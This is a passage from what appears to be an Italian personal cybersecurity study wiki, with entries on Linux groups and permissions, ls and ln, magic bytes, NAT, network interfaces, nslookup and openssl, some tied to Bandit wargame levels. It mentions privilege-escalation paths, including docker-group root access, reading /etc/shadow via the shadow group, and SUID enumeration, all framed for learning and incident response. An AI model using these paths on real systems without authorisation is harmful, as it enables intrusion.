└────────────────┬─────────────────┘ │ [ GRUPPI SECONDARI ] ┌──────────────┼──────────────┐ [ sudo (27) ] [ docker (999) ] [ devs (1005) ] │ │ │ Permette Permette di Permette di comandi root gestire i leggere /code containers (progetto X) Comandi di Gestione Avanzata # Comando Livello Descrizione id [utente] Info Mostra UID, GID e tutti i gruppi dell'utente. getent group [nome] Info Estrae le info del gruppo direttamente dal database di sistema. sudo groupadd [nome] Admin Crea un nuovo gruppo nel sistema. sudo usermod -aG [G] [U] Admin Cruciale: -a (append) aggiunge il gruppo senza rimuovere i precedenti. newgrp [nome] User Cambia il gruppo primario per la sessione corrente (utile per i nuovi file). Perché è importante per la Cybersecurity # I gruppi sono il bersaglio principale per la Privilege Escalation:\nMisconfiguration: Se un utente normale viene aggiunto al gruppo disk, può leggere direttamente i dati grezzi dal disco rigido, scavalcando tutti i permessi del filesystem. Docker Group: Essere nel gruppo docker equivale quasi sempre ad avere permessi di root, poiché permette di montare la root del sistema ospite dentro un container con privilegi elevati. Shadow Group: L'accesso al gruppo shadow permette di leggere /etc/shadow e tentare il cracking delle password offline. Scenario Reale: Collaborazione tra Sviluppatori # Sul server aziendale, crei una directory /opt/project_alpha.\nsudo groupadd alpha_team sudo chgrp alpha_team /opt/project_alpha sudo chmod 2770 /opt/project_alpha (Il \u0026quot;2\u0026quot; iniziale è il SGID bit: ogni nuovo file creato qui erediterà automaticamente il gruppo alpha_team, garantendo che Barno e Anna possano sempre leggere i file l'uno dell'altra). Collegato a # system — categoria permissions — per l'applicazione dei permessi rwx al gruppo chmod — per modificare i permessi di gruppo chown — per cambiare il gruppo proprietario di un file uid-gid-identifiers – Userid e Groupid user-group-management ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/linux-groups/","section":"Concetti","summary":"I gruppi sono entità logiche che raggruppano più utenti per facilitare la gestione granulare dei permessi su file, directory e risorse hardware.","title":"Linux Groups","type":"concetti"},{"content":" Cosa fa # Il sistema di permessi Linux controlla chi può fare cosa su file e directory. Si basa su tre soggetti (User, Group, Others) e tre bit (r, w, x). Il kernel valuta i permessi in ordine gerarchico: User → Group → Others.\nArchitettura UGO # # Stringa permessi completa: - r w x r w x r w x │ └──┬──┘└──┬──┘└──┬──┘ │ User Group Others │ └── tipo: - = file, d = directory, l = symlink Soggetto Sigla Chi è User U Il proprietario del file Group G Gli utenti nel gruppo associato al file Others O Tutti gli altri — il perimetro più critico UID — User IDentifier: numero univoco che identifica l'utente nel kernel. root ha sempre UID 0. GID — Group IDentifier: numero univoco che identifica il gruppo.\nI tre bit: r, w, x # Su un file # Bit Cosa permette r Leggere il contenuto (cat, less) w Modificare il contenuto x Eseguire il file come programma (./script.sh) Su una directory # Bit Cosa permette r Listare i file dentro (ls) w Creare, rinominare, cancellare file dentro x Attraversare la directory (cd) e accedere a file di cui conosci il path. Senza r non puoi fare ls La distinzione x su file vs directory è fondamentale:\n# x su FILE = eseguire come processo chmod +x script.sh \u0026amp;\u0026amp; ./script.sh # x su DIRECTORY = attraversare (traversing) # puoi fare cd e accedere a file noti # senza x → Permission Denied anche se conosci il path Rappresentazione ottale # # Ogni bit ha un valore: r = 4 w = 2 x = 1 # Somma per ogni soggetto: rwx = 4+2+1 = 7 r-x = 4+0+1 = 5 r-- = 4+0+0 = 4 --- = 0 # Esempio chmod 750: # User: rwx = 7 # Group: r-x = 5 # Others: --- = 0 chmod 750 script.sh # Logica binaria sottostante: # 7 = 111 (tutti accesi) # 5 = 101 (lettura si, scrittura no, esecuzione si) # 0 = 000 (tutti spenti) Traversing — come il kernel valuta il path # Quando accedi a un file, il kernel controlla x su ogni directory del path, uno per uno:\n# Richiesta: cat /home/user/docs/test.txt # 1. Controllo / → hai x? si → prosegui # 2. Controllo home/ → hai x? si → prosegui # 3. Controllo user/ → hai x? si → prosegui # 4. Controllo docs/ → hai x? NO → Permission Denied # (anche se test.txt e\u0026#39; 777) # Se superi docs/: # 5. Controllo test.txt → hai r? si → successo Il caso x senza r su una directory:\n# directory con --x (puoi attraversare ma non listare) cd /dir/segreta # funziona ls /dir/segreta # Permission Denied cat /dir/segreta/file # funziona SE conosci il nome esatto Comandi di gestione # # chmod — cambia i permessi chmod 755 script.sh # rwxr-xr-x chmod 600 secret.txt # rw------- chmod +x script.sh # aggiunge x all\u0026#39;owner chmod -R 644 /var/www/ # ricorsivo # chown — cambia proprietario chown utente:gruppo file chown root secret.log # chgrp — cambia solo il gruppo chgrp devteam /opt/project Casi particolari # Cancellazione paradossale:\n# Hai w sulla cartella ma il file e\u0026#39; di root con permessi 000 # Puoi comunque cancellare il file rm /cartella/file-di-root # Stai rimuovendo l\u0026#39;entry dalla directory, non modificando il file # w sulla directory = puoi modificare la lista dei file dentro Collaborazione sicura con sticky bit:\nchmod 1777 /tmp # Tutti possono creare file # Nessuno puo\u0026#39; cancellare i file degli altri # Solo il proprietario del file o root puo\u0026#39; cancellarlo Bit speciali — SUID, SGID, Sticky # I bit speciali compaiono al posto della x nella stringa dei permessi. Per il dettaglio completo → vedi suid-sgid-sticky.\nBit Posizione Simbolo Ottale Effetto SUID owner x s/S 4000 processo gira con UID del proprietario SGID group x s/S 2000 processo gira con GID del gruppo Sticky others x t/T 1000 solo il proprietario puo' cancellare # Trovare tutti i SUID sul sistema find / -perm -4000 -type f 2\u0026gt;/dev/null # Trovare tutti i SGID find / -perm -2000 -type f 2\u0026gt;/dev/null Scenario Reale # # Incident response — file sospetto trovato ls -la /tmp/mystery # Output: # -rwsr-xr-x 1 root root 14521 Mar 18 03:14 /tmp/mystery # ^^^ # SUID + proprietario root = privilege escalation potenziale # Chiunque esegua questo file ottiene effective UID = root # Verifica tutti i SUID non standard: find / -perm -4000 -type f 2\u0026gt;/dev/null | grep -v -E \\ \u0026#34;/usr/bin/passwd|/usr/bin/sudo|/usr/bin/ping\u0026#34; # Tutto quello che non e\u0026#39; in questa lista e\u0026#39; sospetto Casi d'uso in Bandit # # Livello 5: trova file con permessi specifici find . -size 1033c ! -executable # Livello 6: ricerca globale con gestione errori find / -user bandit7 -group bandit6 -size 33c 2\u0026gt;/dev/null # Livello 19: SUID binary per escalation # -rwsr-x--- 1 bandit20 bandit19 → vedi bandit-19 Collegato a # iam — categoria suid-sgid-sticky — bit speciali, privilege escalation chmod — comando per modificare i permessi uid-gid-identifiers — UID e GID nel dettaglio bandit-19 — SUID in pratica ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/linux-permissions-ugo/","section":"Concetti","summary":"Il sistema di permessi Linux si basa su tre livelli (User, Group, Others) e tre bit (r, w, x) che cambiano significato a seconda che l'oggetto sia un file o una directory.","title":"Linux Permissions UGO","type":"concetti"},{"content":" Cosa fa # Crea collegamenti (links) tra file. Di default crea \u0026quot;hard links\u0026quot;, ma con il flag -s crea \u0026quot;symbolic links\u0026quot;.\nSintassi # ln [opzioni] target nome_link\nComandi essenziali # Comando Flag Significato flag Cosa fa ln file link (nessuno) Hard Link Crea un nome extra per lo stesso Inode. ln -s /path/file link -s Symbolic (Assoluto) Punta a un percorso fisso. Fragile se i genitori cambiano. ln -s ./file link -s Symbolic (Relativo) Punta a una posizione rispetto al link. Più portabile. Nota Pro: La \u0026quot;Best Practice\u0026quot; # Quando crei un link simbolico, è quasi sempre meglio usare il percorso assoluto se il file di destinazione è una risorsa di sistema (che non si muove), mentre è meglio il percorso relativo se stai creando un pacchetto di file che potresti voler spostare insieme.\nCombinazioni utili # # Creare un link simbolico a una directory ln -s /var/log/apache2 ~/logs_web Scenario Reale # Un amministratore di sistema deve aggiornare una libreria software. Invece di cambiare i percorsi in tutte le applicazioni, crea un symbolic link libreria.so che punta alla versione attuale libreria.so.1.2. Per aggiornare, basta cambiare il link verso libreria.so.1.3.\nDove l'ho usato # bandit-11 — (Esempio ipotetico di navigazione) Collegato a # file — categoria link-hard-vs-symbolic — concetto teorico ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/ln/","section":"Comandi","summary":"Crea collegamenti (links) tra file. Di default crea 'hard links', ma con il flag -s crea 'symbolic links'.","title":"Ln","type":"comandi"},{"content":" Cosa fa # Elenca i file e le directory contenuti in un percorso. È lo strumento fondamentale per l'esplorazione del sistema e per individuare vettori di attacco, file di configurazione o artefatti nascosti.\nSintassi # ls [opzioni] [percorso]\nParametri Strategici (Flag) # Flag Nome Esteso Effetto Pratico -a All Mostra tutto, inclusi i file nascosti (dotfiles). -l Long Formato esteso: permessi, proprietario, dimensione, data. -h Human (Usato con -l) Rende le dimensioni leggibili (KB, MB, GB). -t Time Ordina per data di modifica (più recenti in alto). -S Size Ordina dal più grande al più piccolo. -r Reverse Inverte l'ordine della visualizzazione. -R Recursive Elenca ricorsivamente tutte le sottocartelle. -n Numeric Come -l, ma mostra UID e GID numerici (fondamentale per uid-gid-identifiers). -i Inode Mostra il numero di Inode (l'ID univoco) accanto al nome del file. Le \u0026quot;Super Combo\u0026quot; per l'Analisi 🚀 # ls -al: La base universale. Vedi ogni file (nascosti inclusi) con tutti i dettagli tecnici. ls -altr: La migliore per l'Incident Response. Mostra tutto in formato lungo, ordinato per tempo, con i file modificati per ultimi in fondo alla lista (vicino al cursore). ls -R: Per mappare rapidamente l'intera struttura di una cartella sospetta. Quelli che hanno crittografia nel nome file\nls /Users/barno/Documents/lavori/corsobitcoin/content/posts/*crittografia* Scenario Reale # Sei appena entrato in un sistema tramite una shell remota. Usando ls -altr /tmp, identifichi immediatamente se altri utenti (o attaccanti) hanno depositato script o file temporanei negli ultimi minuti, permettendoti di ricostruire la cronologia delle azioni ostili.\nDove l'ho usato # bandit-00 — Per individuare il file readme. bandit-03 — Usato ls -al per scovare il file nascosto .hidden (o ...Hiding-From-You). Note personali # Analyst Tip: In Linux, \u0026quot;tutto è un file\u0026quot;. Se vedi una d all'inizio della stringa dei permessi (es. drwxr-xr-x), è una directory. Se vedi un -, è un file regolare. Se vedi una l, è un link simbolico.\nCollegato a # system — categoria (Hub) file — categoria (Hub) cd — per spostarsi dopo aver elencato i contenuti. uid-gid-identifiers — concetto (collegato al flag -n). ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/ls/","section":"Comandi","summary":"Elenca i file e le directory contenuti in un percorso. È lo strumento fondamentale per l'esplorazione del sistema e per individuare vettori di attacco, file di configurazione o artefatti nascosti.","title":"Ls","type":"comandi"},{"content":" Cos'è # I Magic Bytes sono sequenze di byte posizionate all'inizio di un file (nell'header) che permettono al sistema operativo e ai software di identificarne il tipo reale, indipendentemente dall'estensione.\nCome funziona # Il sistema operativo (o strumenti come file) legge i primi byte del file e li confronta con un database di \u0026quot;firme\u0026quot; note.\nFILE REALE (.jpg camuffato) PROCESSO DI ANALISI +--------------------------+ +--------------------------+ | 7F 45 4C 46 ... | -----\u0026gt; | Lettura primi 4 byte | +--------------------------+ | Match: 7F454C46 = ELF | +------------+-------------+ | v RISULTATO: Eseguibile Linux (Non è una foto!) Immaginiamo di guardare l'inizio di un file immagine PNG tramite un editor esadecimale:\nOFFSET (Posizione) HEXADECIMAL (Magic Bytes) ASCII ------------------ ------------------------- ----- 00000000: 89 50 4E 47 0D 0A 1A 0A .PNG.... ^--- FIRMA PNG ---^ 🛠️ Firme Comuni da Memorizzare # Ecco alcuni esempi di firme che incontrerai spesso nelle CTF e nel lavoro reale:\nFormato File Estensione Magic Bytes (Hex) Traduzione ASCII Eseguibile Linux .elf 7F 45 4C 46 .ELF Immagine JPEG .jpg FF D8 FF (Variabile) Archivio ZIP .zip 50 4B 03 04 PK.. Documento PDF .pdf 25 50 44 46 %PDF Perché è importante per il Blue Team # Rilevamento Malware: Un attaccante potrebbe inviare un file malevolo rinominato in vacanza.jpg. Un sistema di difesa che controlla i Magic Bytes vedrà che inizia con 7F 45 4C 46 e capirà che si tratta di un eseguibile, bloccandolo 🛡️.\nData Recovery: Se un file system è corrotto e i nomi dei file sono persi, i software di recupero scansionano il disco cercando queste firme per ricostruire i file originali.\nDove l'ho incontrato # bandit-12 — Abbiamo usato il comando file per identificare i vari strati di compressione. Collegato a # system — Il comando principale per leggerli. xxd — Per visualizzarli manualmente in esadecimale. forensics — Categoria. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/magic-bytes/","section":"Concetti","summary":"I Magic Bytes sono sequenze di byte posizionate all'inizio di un file (nell'header) che permettono al sistema operativo e ai software di identificarne il tipo reale, indipendentemente dall'estensione.","title":"Magic Bytes","type":"concetti"},{"content":" Cos'è # Il NAT è un meccanismo che permette a più dispositivi di una rete privata (con IP privati) di accedere a una rete pubblica (Internet) utilizzando un unico indirizzo IP pubblico. Funziona come un portiere d'albergo che smista la posta per tutte le stanze.\nCome funziona # [ Dispositivi Locali ] [ Router/NAT ] [ Internet ] (IP Privati) (IP Pubblico) (Server Web) │ │ │ │─── Richiesta (da 192.168.1.5) ──▶│ │ │ │── Richiesta (da 80.x) ─▶│ │ │ │ │ │◀─ Risposta (a 80.x) ─── │ │◀── Risposta (a 192.168.1.5) ───│ │ Tipi comuni:\nSNAT (Source NAT): Cambia l'IP sorgente (usato per far uscire i PC di casa). DNAT (Destination NAT/Port Forwarding): Cambia l'IP di destinazione (usato per esporre un server interno su Internet). IP privati vs IP pubblici # Non tutti gli IP sono uguali. Esistono range riservati che non possono essere instradati su internet — usati solo nelle reti private:\nRange privati (RFC 1918): 10.0.0.0/8 → grandi reti aziendali 172.16.0.0/12 → medie reti 192.168.0.0/16 → reti domestiche (quello che vedi a casa) Range CGNAT (RFC 6598): 100.64.0.0/10 → usato dagli ISP per il CGNAT Tutto il resto → IP pubblici, instradabili su internet Quando vedi 192.168.x.x o 10.x.x.x in un dfir, sai immediatamente che e' traffico di rete privata.\nCGNAT — Carrier Grade NAT # Il NAT domestico e' un livello solo. Ma molti ISP aggiungono un secondo livello di NAT sulla loro infrastruttura:\nNAT domestico (un livello): 192.168.1.x (tuo PC) │ ▼ Router di casa (NAT) │ ▼ IP pubblico dedicato ──► internet CGNAT (due livelli): 192.168.1.x (tuo PC) │ ▼ Router di casa (NAT #1) │ ▼ 100.64.x.x (rete interna ISP) ← IP privato ISP, non vedi internet │ ▼ CGNAT dell\u0026#39;ISP (NAT #2) │ ▼ 1 IP pubblico condiviso ──► internet (usato da migliaia di clienti) La differenza e' nella porta:\nCliente A: 1.2.3.4:54321 → mappato a 100.64.1.1:12345 Cliente B: 1.2.3.4:54322 → mappato a 100.64.1.2:12345 Cliente C: 1.2.3.4:54323 → mappato a 100.64.1.3:12345 Stesso IP pubblico, porte diverse → clienti diversi Chi ha un IP pubblico dedicato e' fuori dal CGNAT — tipicamente contratti business o VPS. I server hanno sempre IP pubblici (non avrebbe senso il contrario).\nLa 4-tupla — perché il CGNAT non si satura facilmente # Ogni connessione TCP/IP e' identificata da 4 elementi:\nIP sorgente | Porta sorgente | IP destinazione | Porta destinazione Questo e' fondamentale per capire perche' migliaia di clienti possono condividere lo stesso IP pubblico senza conflitti.\nEsempio con tre clienti dietro lo stesso IP CGNAT 1.2.3.4:\nCliente A │ 1.2.3.4 │ 54321 │ 151.1.1.1 (Poste) │ 443 → OK Cliente B │ 1.2.3.4 │ 54321 │ 8.8.8.8 (Google)│ 443 → OK (dest diversa) Cliente C │ 1.2.3.4 │ 54321 │ 151.1.1.1 (Poste) │ 443 → CONFLITTO con A Cliente A e Cliente B usano la stessa porta sorgente (54321) senza conflitti — perche' la destinazione e' diversa.\nCliente C crea un conflitto con Cliente A — stessa 4-tupla completa. Il CGNAT assegna a Cliente C una porta diversa automaticamente:\nCliente C │ 1.2.3.4 │ 54322 │ 151.1.1.1 (Poste) │ 443 → OK Quante porte disponibili per connessioni uscenti su Linux:\ncat /proc/sys/net/ipv4/ip_local_port_range # 32768 60999 # → 28231 porte disponibili per destinazione Ma le combinazioni reali sono:\n28231 porte × milioni di IP destinazione = praticamente infinito La saturazione reale avviene solo in scenari estremi:\nAttacchi DDoS coordinati verso un singolo server Migliaia di clienti che aprono connessioni simultanee verso lo stesso IP e porta di destinazione Gli ISP grandi usano comunque pool di IP pubblici, non uno solo, per distribuire il carico.\nLog NAT — come le indagini risalgono al colpevole # Il CGNAT complica le indagini digitali. Se un attacco proviene da un IP condiviso, identificare il responsabile richiede la collaborazione dell'ISP.\nL'ISP mantiene una tabella di traduzione per ogni connessione:\nIP pubblico | Porta pub | IP cliente (privato) | Porta priv | Timestamp ───────────────────────────────────────────────────────────────────────── 1.2.3.4 | 54321 | 100.64.1.100 | 12345 | 2026-04-10 08:15:32 1.2.3.4 | 54322 | 100.64.1.200 | 12346 | 2026-04-10 08:15:33 In un'indagine, il processo e':\nInvestigatore ha: IP pubblico + porta + timestamp │ ▼ Ordine del tribunale all\u0026#39;ISP │ ▼ ISP incrocia i log NAT │ ▼ Identifica il cliente: nome, indirizzo, contratto Note In Italia e in Europa, gli ISP sono obbligati a conservare i log NAT per un periodo definito dalla legge (tipicamente 6-12 mesi per dati di traffico). Se i log non esistono o sono stati cancellati, l'identificazione diventa impossibile.\nTip Dal punto di vista Blue Team: quando investighi un attacco, l'IP sorgente da solo non basta. Con CGNAT, lo stesso IP potrebbe essere stato usato da migliaia di persone diverse. La porta sorgente e il timestamp preciso sono fondamentali per un'identificazione corretta.\n# Perché è importante per Blue Team # Il NAT nasconde la topologia interna della rete. Un attaccante esterno non può vedere direttamente gli IP privati delle macchine, rendendo più difficile il targeting diretto dei dispositivi interni.\nDove l'ho incontrato # reti-e-sottoreti — Configurazione della prima scheda di rete su UTM per dare internet a Ubuntu e Kali. Note personali # Il NAT non è un firewall, ma ne fornisce una funzione di sicurezza base (security by obscurity). Senza un Port Forwarding (DNAT) esplicito, le connessioni dall'esterno verso l'interno vengono bloccate di default dal router.\nCollegato a # network — categoria ip-addressing-subnetting — concetto base firewall — il NAT è spesso gestito dal firewall ip-header — IP pubblici e privati, routing arp — ARP funziona solo nella rete privata, mai su internet ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/nat-concept/","section":"Concetti","summary":"Il NAT è un meccanismo che permette a più dispositivi di una rete privata (con IP privati) di accedere a una rete pubblica (Internet) utilizzando un unico indirizzo IP pubblico. Funziona come un portiere d'albergo che smista la posta per tutte le stanze.","title":"Nat Concept","type":"concetti"},{"content":" Cos'è # La gestione della rete su Linux varia a seconda della distribuzione e dello scopo (Server vs Desktop). Ubuntu Server usa principalmente Netplan, mentre Kali (e le distro desktop) usa spesso NetworkManager o il file statico interfaces.\nCome funziona # 1. Ubuntu Server (Netplan) # Usa file YAML per configurare la rete. Le modifiche non sono istantanee: vanno applicate.\nPercorso: /etc/netplan/*.yaml Comando applicazione: sudo netplan apply 2. Kali / Debian (Interfaces) # Usa il vecchio standard Debian o NetworkManager tramite interfaccia grafica.\nPercorso: /etc/network/interfaces Servizio: sudo systemctl restart networking Confronto Architettura: # [ UBUNTU SERVER ] [ KALI / DESKTOP ] │ │ [ Netplan (YAML) ] [ NetworkManager / IF ] │ │ [ systemd-networkd ] [ Networking Service ] │ │ [ Kernel (Driver) ] [ Kernel (Driver) ] Perché è importante per Blue Team # Capire dove sono scritti gli IP permette di diagnosticare perché una macchina non è raggiungibile o di impostare IP statici per servizi critici (come il tuo Lab) evitando che cambino al riavvio.\nDove l'ho incontrato # progetto-lab-vm — Configurazione degli IP statici/DHCP per le due schede (NAT e Host-Only). Note personali # Su Ubuntu, attenzione agli spazi nei file YAML di Netplan: se sbagli l'indentazione, il comando apply darà errore. Kali su UTM spesso gestisce tutto via DHCP sulla scheda Host-Only se non diversamente specificato.\nCollegato a # network — categoria system — categoria ip-addressing-subnetting — concetto base netplan ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/network-configuration-linux/","section":"Concetti","summary":"La gestione della rete su Linux varia a seconda della distribuzione e dello scopo (Server vs Desktop). Ubuntu Server usa principalmente Netplan, mentre Kali (e le distro desktop) usa spesso NetworkManager o il file statico interfaces.","title":"Network Configuration Linux","type":"concetti"},{"content":" Cos'è # Un'interfaccia di rete è il punto di contatto tra il kernel Linux e una rete — fisica o virtuale. Ogni interfaccia ha un nome, un indirizzo IP, e gestisce un tipo specifico di traffico.\nCome funziona # KERNEL LINUX │ ┌────────────────┼────────────────┐ │ │ │ lo eth0 wlan0 │ │ │ (virtuale) (via cavo) (wi-fi) 127.0.0.1 192.168.1.x 192.168.1.x │ │ │ traffico scheda di scheda interno rete fisica wi-fi alla macchina │ │ └────────────────┘ │ router │ internet Interfacce principali # Interfaccia Nome completo Indirizzo tipico Traffico lo loopback 127.0.0.1 Interno alla macchina — mai esce fisicamente eth0 ethernet 0 192.168.x.x Rete cablata (scheda fisica) wlan0 wireless LAN 0 192.168.x.x Wi-Fi (scheda wireless) tun0 tunnel 0 10.x.x.x VPN — interfaccia virtuale per traffico cifrato docker0 docker bridge 172.17.0.1 Traffico interno tra container Docker lo — Loopback # [programma A] ──► lo (127.0.0.1) ──► [programma B] tutto dentro il kernel non tocca mai la scheda di rete fisica Sempre attiva, sempre 127.0.0.1 localhost è solo un alias per 127.0.0.1 Usata da: server locali, database, servizi interni Attenzione security: tcpdump può catturarla come qualsiasi altra interfaccia eth0 — Ethernet # Scheda di rete fisica cablata Il nome può variare sui sistemi moderni: enp3s0, ens33, eth0 IP assegnato dal router via DHCP (o statico) Tutto il traffico verso internet o la LAN passa da qui tun0 — Tunnel (VPN) # [tuo traffico] ──► tun0 ──► cifrato ──► server VPN ──► internet interfaccia (es. OpenVPN, virtuale WireGuard) Creata automaticamente quando attivi una VPN La vedrai spesso su TryHackMe e HackTheBox — quando ti connetti alla loro VPN compare tun0 Se tun0 non c'è, non sei connesso alla VPN e non raggiungi le macchine target Comandi utili # ip a # mostra tutte le interfacce e i loro IP ip link show # mostra stato interfacce (up/down) ifconfig # alternativa classica (potrebbe non essere installata) sudo tcpdump -i lo # cattura traffico loopback sudo tcpdump -i eth0 # cattura traffico rete esterna sudo tcpdump -i tun0 # cattura traffico VPN Perché è importante per Blue Team # Sapere quale interfaccia monitorare è fondamentale per l'analisi del traffico. Traffico sospetto su lo = comunicazione tra processi locali (es. malware che parla con un C2 locale). Traffico sospetto su eth0 = connessione verso esterno. tun0 assente quando dovrebbe esserci = traffico non cifrato dalla VPN.\nAnalogia — La porta di ingresso/uscita # Una interfaccia e' una porta fisica o virtuale attraverso cui i pacchetti entrano ed escono dalla macchina. Ogni porta gestisce un tipo specifico di traffico e ha il suo indirizzo IP.\nIL TUO MAC ├── WiFi (en0) → traffico wireless verso internet ├── Ethernet (en1) → traffico via cavo └── Loopback (lo) → traffico interno, mai esce KALI SU UTM └── eth0 (192.168.64.200) → Host-Only — parla con Ubuntu e Mac UBUNTU SU UTM └── enp0s1 (192.168.64.3) → Host-Only — parla con Kali e Mac MAC HOST └── bridge (192.168.64.1) → gateway della rete Host-Only Wireshark mostra le interfacce disponibili con la linea ondulata del traffico in tempo reale — scegli quella giusta prima di catturare.\nLa scelta dell'interfaccia sbagliata in tcpdump o Wireshark significa non vedere nulla — i pacchetti passano su un'altra porta.\n# Scopri le interfacce disponibili sudo tcpdump -D # lista numerata ip a # lista con IP assegnati # Su Kali per vedere traffico verso Ubuntu sudo tcpdump -i eth0 -n host 192.168.64.3 # Non funziona: sudo tcpdump -i enp0s1 # enp0s1 non esiste su Kali Scenario Reale # Un analista SOC riceve un alert: un processo sta facendo connessioni di rete insolite. Prima cosa: ip a per vedere le interfacce attive. Poi sudo tcpdump -i eth0 -n per catturare il traffico esterno e sudo tcpdump -i lo -n per quello interno. Se il processo comunica solo su lo con un altro processo locale, potrebbe essere un malware in fase di staging che aspetta comandi da un secondo processo già compromesso.\nCollegato a # network — categoria tcpdump — cattura traffico per interfaccia ssl-tls — cifra il traffico su qualsiasi interfaccia, inclusa lo netcat — si connette specificando host, che determina quale interfaccia viene usata ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/network-interfaces/","section":"Concetti","summary":"Un'interfaccia di rete è il punto di contatto tra il kernel Linux e una rete - fisica o virtuale. Ogni interfaccia ha un nome, un indirizzo IP, e gestisce un tipo specifico di traffico.","title":"Network Interfaces (Interfacce di Rete)","type":"concetti"},{"content":" Cosa fa # Interroga i server DNS per ottenere i record associati a un dominio. Utile per verificare configurazioni DNS, investigare domini sospetti e controllare record SPF/DMARC durante analisi phishing. nslookup (name server lookup) — ricerca nei nameserver.\nSintassi # nslookup [opzioni] dominio [server]\nComandi essenziali # Comando Flag Significato flag Cosa fa nslookup tryhackme.com — — Record A (IPv4) di default nslookup -type=A tryhackme.com -type=A Address IPv4 del dominio nslookup -type=AAAA tryhackme.com -type=AAAA Address x4 IPv6 del dominio nslookup -type=CNAME store.tryhackme.com -type=CNAME Canonical Name Alias verso un altro nome nslookup -type=MX tryhackme.com -type=MX Mail eXchanger Server di posta + priorità nslookup -type=TXT tryhackme.com -type=TXT TeXT SPF, DMARC, ownership Combinazioni utili # # Interroga un resolver specifico invece del tuo default nslookup tryhackme.com 8.8.8.8 # Utile per confrontare: il tuo resolver e quello di Google # danno la stessa risposta? Se no → qualcosa non va nslookup tryhackme.com 1.1.1.1 # Verifica SPF e DMARC durante analisi phishing nslookup -type=TXT dominio-sospetto.com # cerco \u0026#34;v=spf1\u0026#34; e \u0026#34;v=DMARC1\u0026#34; # Segui la catena CNAME completa nslookup -type=CNAME store.tryhackme.com # se la destinazione non risponde → potenziale subdomain takeover Scenario Reale # Un analista SOC riceve una email sospetta da noreply@paypa1.com (occhio: paypa1 con il numero 1, non la L).\n# 1. Verifico il record A — a che IP punta? nslookup paypa1.com # → IP sconosciuto, non di PayPal # 2. Verifico SPF — chi è autorizzato a mandare email? nslookup -type=TXT paypa1.com # → nessun record SPF, o SPF con ~all (softfail) # 3. Verifico MX — dove arrivano le email di risposta? nslookup -type=MX paypa1.com # → server di posta sconosciuto Tre query, meno di un minuto, dominio di phishing confermato.\nDove l'ho usato # dns-in-detail — esercizi record A, CNAME, MX, TXT Note personali # nslookup è il modo veloce. Per vedere l'intera catena di risoluzione passo per passo (root → TLD → authoritative) usa: dig dominio.com +trace\nCollegato a # dns-resolution — come funziona la risoluzione DNS dns-records — tutti i tipi di record network — categoria ctf — categoria ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/nslookup/","section":"Comandi","summary":"Interroga i server DNS per ottenere i record associati a un dominio. Utile per verificare configurazioni DNS, investigare domini sospetti e controllare record SPF/DMARC durante analisi phishing. nslookup (name server lookup) — ricerca nei nameserver.","title":"nslookup - query DNS interattive","type":"comandi"},{"content":" Cosa fa # Toolkit per crittografia e SSL/TLS. Permette di creare certificati, cifrare file, e aprire connessioni SSL/TLS da terminale.\nSintassi # openssl [comando] [opzioni]\nComandi essenziali # Comando Flag Significato flag Cosa fa openssl s_client -connect host:porta s_client SSL client Apre connessione SSL/TLS interattiva openssl s_client -connect host:porta -quiet -quiet silenzia output certificato Connessione SSL/TLS senza stampare info certificato openssl genrsa -out key.pem 2048 genrsa generate RSA Genera chiave privata RSA 2048 bit openssl req -new -x509 -key key.pem req -x509 richiesta certificato self-signed Genera certificato autofirmato openssl x509 -in cert.pem -text x509 -text leggi certificato Mostra dettagli di un certificato Combinazioni utili # # Connessione SSL/TLS e invio password in una riga echo \u0026#34;mia_password\u0026#34; | openssl s_client -connect localhost:30001 -quiet # Verifica certificato di un sito reale openssl s_client -connect google.com:443 Scenario Reale # Durante un assessment, un security engineer verifica che un servizio interno esponga correttamente SSL/TLS e non accetti connessioni plaintext. Usa openssl s_client -connect server.interno:443 per ispezionare il certificato, la versione TLS usata, e la cipher suite negoziata.\nDove l'ho usato # bandit-15 — invio password su connessione SSL/TLS a localhost:30001 Note personali # Quando openssl s_client si connette, stampa un muro di testo sul certificato. Puoi ignorarlo e scrivere direttamente la password — oppure usare -quiet per silenziarlo. \u0026quot;DONE\u0026quot; o \u0026quot;RENEGOTIATING\u0026quot; dopo aver scritto? Leggi la sezione CONNECTED COMMANDS nel manpage.\nCollegato a # crypto — categoria netcat — alternativa plaintext, stessa logica ma senza cifratura ssl-tls — il protocollo che openssl implementa ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/openssl/","section":"Comandi","summary":"Toolkit per crittografia e SSL/TLS. Permette di creare certificati, cifrare file, e aprire connessioni SSL/TLS da terminale.","title":"Openssl","type":"comandi"},{"content":" Cosa fa # Implementa un client SSL/TLS generico che stabilisce una connessione sicura con un server remoto. È essenzialmente un \u0026quot;netcat con i superpoteri della cifratura\u0026quot;.\nSintassi # openssl s_client -connect [host]:[porta] [opzioni]\nComandi essenziali # Comando Flag Significato flag Cosa fa openssl s_client -connect localhost:30001 — — Connessione TLS base, mostra tutto l'output del certificato openssl s_client -connect host:porta -quiet -quiet silenzia output certificato Nasconde info certificato, abilita -ign_eof implicitamente openssl s_client -connect host:porta -ign_eof -ign_eof ignore end of file Non chiude la connessione quando la pipe finisce — aspetta la risposta del server echo \u0026quot;password\u0026quot; | openssl s_client -connect host:porta -quiet — — Manda la password via pipe e aspetta la risposta Visual Flow (ASCII) # [ Tuo Client ] [ Server SSL ] | | |--- 1. Client Hello (proposta cifratura) --\u0026gt;| |\u0026lt;-- 2. Server Hello + Certificato ----------| |--- 3. Scambio chiavi (cifrato) -----------\u0026gt;| | | |======== TUNNEL CIFRATO STABILITO ==========| | | |--- \u0026#34;mia_password\u0026#34; ------------------------\u0026gt;| |\u0026lt;-- \u0026#34;next_level_password\u0026#34; -----------------| CONNECTED COMMANDS — comandi interattivi # Quando sei già connesso, puoi digitare questi comandi direttamente nel terminale:\nComando Cosa fa Nota Q Chiude la connessione — R Rinegozia la sessione TLS Solo TLS 1.2 e precedenti keyup Aggiorna le chiavi di cifratura Solo TLS 1.3 keyup req Aggiorna le chiavi e chiede al server di fare lo stesso Solo TLS 1.3 keyup noreq Aggiorna le chiavi senza 